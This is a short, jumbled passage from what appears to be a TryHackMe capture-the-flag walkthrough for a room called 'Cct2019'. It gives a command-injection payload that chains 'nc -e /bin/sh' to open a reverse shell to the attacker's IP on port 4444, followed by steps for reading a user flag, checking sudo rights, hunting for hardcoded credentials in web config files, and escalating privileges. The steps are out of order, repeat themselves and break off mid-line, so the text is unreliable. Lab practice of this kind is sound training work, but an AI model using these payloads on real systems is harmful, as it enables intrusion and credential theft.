Tryhackme | Cct2019
127.0.0.1; nc -e /bin/sh <your_ip> 4444 If -e not available, use:
Read user.txt :
cat /home/mandy/user.txt Check sudo -l again as mandy – maybe mandy can run something as root. cct2019 tryhackme
Check /var/www/html for config files – sometimes credentials are hardcoded. find / -name user.txt 2>/dev/null Likely in /home/mandy/user.txt . But you don’t have read access yet. Step 4 – Privilege Escalation 4.1 Check Sudo Rights sudo -l If you see: nc -e /bin/sh <